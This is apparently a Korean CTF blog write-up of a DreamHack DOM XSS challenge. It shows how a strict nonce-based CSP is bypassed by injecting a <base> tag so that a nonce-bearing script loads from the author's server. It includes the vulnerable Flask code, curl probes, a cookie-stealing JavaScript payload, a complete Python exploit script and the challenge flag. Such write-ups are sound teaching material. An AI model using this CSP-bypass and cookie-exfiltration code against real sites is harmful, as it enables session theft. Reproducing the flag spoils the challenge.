[🥈 Silver 1] nonce를 몰라도 XSS가 터진다 — DreamHack DOM XSS 풀이 — ZINO

2026-07-12·1분 읽기·

[🥈 Silver 1] nonce를 몰라도 XSS가 터진다 — DreamHack DOM XSS 풀이

CSP가 script-src에 nonce와 strict-dynamic을 걸어 인라인 스크립트도 onerror도 다 막는다. nonce는 매 응답마다 회전해서 값을 훔칠 수도 없다. 하지만 원시 HTML 주입점이 nonce가 붙은 jquery 스크립트보다 앞에 있어서, base 태그로 그 스크립트의 로드 origin을 내 서버로 돌려버리면 nonce 값을 몰라도 이미 붙은 nonce를 재활용해 내 JS가 실행된다. document.cookie를 동일출처 /memo에 적재해 회수했다.

#dreamhack #ctf #web #xss #dom-xss #csp #strict-dynamic #base-tag #writeup

문제: DreamHack — DOM XSS 분류: Web 난이도: 🥈 Silver 1 FLAG: DH{f246f75f094da605e087bb5c0916c0d2}

메인 페이지 — vuln / memo / flag 세 개의 링크

이름은 DOM XSS인데, 정작 발목을 잡는 건 DOM 싱크가 아니라 CSP였다. 인라인 스크립트도 이벤트 핸들러도 전부 nonce 뒤에 숨어 있고, 그 nonce는 매 응답마다 새로 뽑힌다. 값을 알아낼 방법이 없어 보인다. 결국 "nonce 값을 알아낸다"는 발상 자체를 버리고, 이미 페이지에 붙어 있는 유효한 nonce를 그대로 빌려 쓰는 쪽으로 방향을 틀었다.

문제 개요

항목	내용
문제명	DOM XSS
난이도	🥈 Silver 1
분류	Web (XSS / CSP 우회)
스택	Flask + Selenium(HeadlessChrome) 봇
제공	`app.py`, 템플릿, 서버
핵심 취약점	`param\|safe` 원시 HTML 주입 + `<base>`로 nonce 스크립트 origin 탈취

봇은 flag 값을 쿠키로 들고 /vuln을 방문한다. 그 쿠키를 훔치려면 봇의 브라우저에서 JS를 실행해야 하는데, CSP가 script-src 'self' 'nonce-...' 'strict-dynamic'이라 평범한 XSS는 전부 막힌다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

N 네이버로 로그인 G 구글로 로그인

댓글 불러오는 중…

Related

관련 글

3개

[🥈 Silver 2] nonce는 뚫지 않고, 유출은 fetch를 안 쓴다 — DreamHack CSP Bypass 풀이

[🥈 Silver 2] nonce는 뚫지 않고, 유출은 fetch를 안 쓴다 — DreamHack CSP Bypass 풀이

script-src 'self' 'nonce-X'가 걸린 반사형 XSS. 인라인 스크립트는 nonce가 없어 콘솔에서 바로 막히지만, /vuln 자신이 입력을 그대로 돌려주는 걸 이용해 <script src="/vuln?param=...">로 스스로를 "동일 출처 스크립트"로 위장시키면 nonce 없이 실행된다. 유출도 fetch/img가 아니라 top-level navigation으로 — CSP가 애초에 막지 않는 경로다. 목적지는 외부 서버가 아니라 같은 앱의 전역 메모장.

#dreamhack#ctf#web

nonce = os.urandom(16).hex()
 
@app.after_request
def add_header(response):
    global nonce
    response.headers['Content-Security-Policy'] = (
        f"default-src 'self'; img-src https://dreamhack.io; "
        f"style-src 'self' 'unsafe-inline'; "
        f"script-src 'self' 'nonce-{nonce}' 'strict-dynamic'")
    nonce = os.urandom(16).hex()   # 응답을 내보낸 "뒤" 새로 뽑는다
    return response
 
@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return render_template("vuln.html", nonce=nonce, param=param)
 
@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "POST":
        param = request.form.get("param")
        name  = request.form.get("name")
        if not check_xss(param, name, {"name": "flag", "value": FLAG.strip()}):
            return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'
        return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'

<script nonce={{ nonce }}>
  window.addEventListener("load", function() {
    var name_elem = document.getElementById("name");
    name_elem.innerHTML = `${location.hash.slice(1)} is my name !`;   // DOM 싱크
  });
</script>
{{ param | safe }}                                                    <!-- 원시 HTML 주입 -->
<pre id="name"></pre>

▶🐛 삽질 1 — innerHTML·onerror로는 한 발도 못 나간다

가장 먼저 떠오르는 두 가지가 다 막힌다.

innerHTML = hash는 DOM 싱크지만, innerHTML로 삽입된 <script>는 원래 실행되지 않는다. <img src=x onerror=...>를 넣어봐도 인라인 이벤트 핸들러라 'unsafe-inline'이 없는 이 CSP에선 죽는다. strict-dynamic이 있으면 'unsafe-inline'은 있어도 무시되니 더더욱 방법이 없다.
param으로 <script>를 직접 넣어도 nonce가 없으면 실행 안 된다.

실제로 인라인 onerror로 exfil을 시도해 봤다. /memo에 마커가 남는지로 성공 여부를 판정한다.

# probe_csp.sh — 인라인 onerror(차단 예상) vs <base>(성공)
ON='<img src=x onerror=eval(atob("...base64 exfil..."))>'
curl -s -X POST "$BASE/flag" --data-urlencode "param=$ON" --data-urlencode 'name=x' >/dev/null
echo "인라인 onerror 유출 : $(curl -s "$BASE/memo?memo=" | grep -c ONERROR_FIRED)"
echo "<base> 하이재킹 유출: $(curl -s "$BASE/memo?memo=" | grep -c domxss_hit)"

인라인 onerror는 0건(CSP 차단), base 하이재킹은 유출 성공

onerror는 0건. CSP가 확실히 막는다. 인라인 계열은 전부 접는다.

▶🐛 삽질 2 — nonce를 예측하거나 훔칠 수 있을까

그러면 nonce 값을 알아내서 param에 <script nonce=값>을 넣으면 되지 않을까. 회전 로직을 보면 미끄러진다.

# 한 응답 처리 순서
# 1) 뷰: render_template(..., nonce=현재값 N)   → 페이지 <script nonce=N>
# 2) after_request: CSP 헤더 = nonce-N          → 헤더와 페이지가 같은 N
# 3) nonce = 새 랜덤 N'                          → 다음 요청용

한 응답 안에서 페이지와 헤더의 nonce는 같은 N으로 일관된다. 그런데 그 N은 직전 요청이 끝나며 뽑아둔 값이고, 응답을 관측하는 순간 이미 소비돼 다음 값 N'으로 회전한다. 내가 어떤 요청으로 nonce를 보면, 그 nonce는 바로 그 요청이 써버린 값이다. 미래에 봇이 쓸 nonce는 항상 아직 뽑히지 않은 새 랜덤이라 관측이 불가능하다.

게다가 봇의 read_url은 GET / → GET /vuln 두 번을 연달아 때리므로, 봇의 /vuln nonce는 내가 마지막으로 본 값에서 두 번 더 회전한 값이다. 예측은 접는다. nonce "값"을 손에 넣는 길은 없다.

/* zino.kr/static/js/jquery.min.js — base 하이재킹으로 로드되어 페이지 nonce로 실행 */
try {
  var x = new XMLHttpRequest();
  x.open('GET',
    'http://127.0.0.1:8000/memo?memo=' + encodeURIComponent('domxss_hit ' + document.cookie),
    false);
  x.send();
} catch (e) {}

#!/usr/bin/env python3
import re, sys, time, urllib.request, urllib.parse
 
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:11397"
EVIL   = sys.argv[2] if len(sys.argv) > 2 else "https://zino.kr/"  # /static/js/jquery.min.js = payload
 
def post(path, data):
    body = urllib.parse.urlencode(data).encode()
    req = urllib.request.Request(TARGET + path, data=body, method="POST")
    return urllib.request.urlopen(req, timeout=15).read().decode(errors="replace")
 
def get(path):
    return urllib.request.urlopen(TARGET + path, timeout=15).read().decode(errors="replace")
 
# 1) param 앞의 nonce 스크립트를 base로 탈취하도록 <base> 주입 → 봇 트리거
inject = f'<base href="{EVIL}">'
print("[+] /flag 응답:", post("/flag", {"param": inject, "name": "x"}).strip())
 
# 2) 봇이 /memo에 적재한 flag 쿠키 회수
for i in range(10):
    time.sleep(1)
    m = re.search(r"DH\{[^}]+\}", get("/memo?memo="))
    if m:
        print("[✓] FLAG =", m.group(0)); break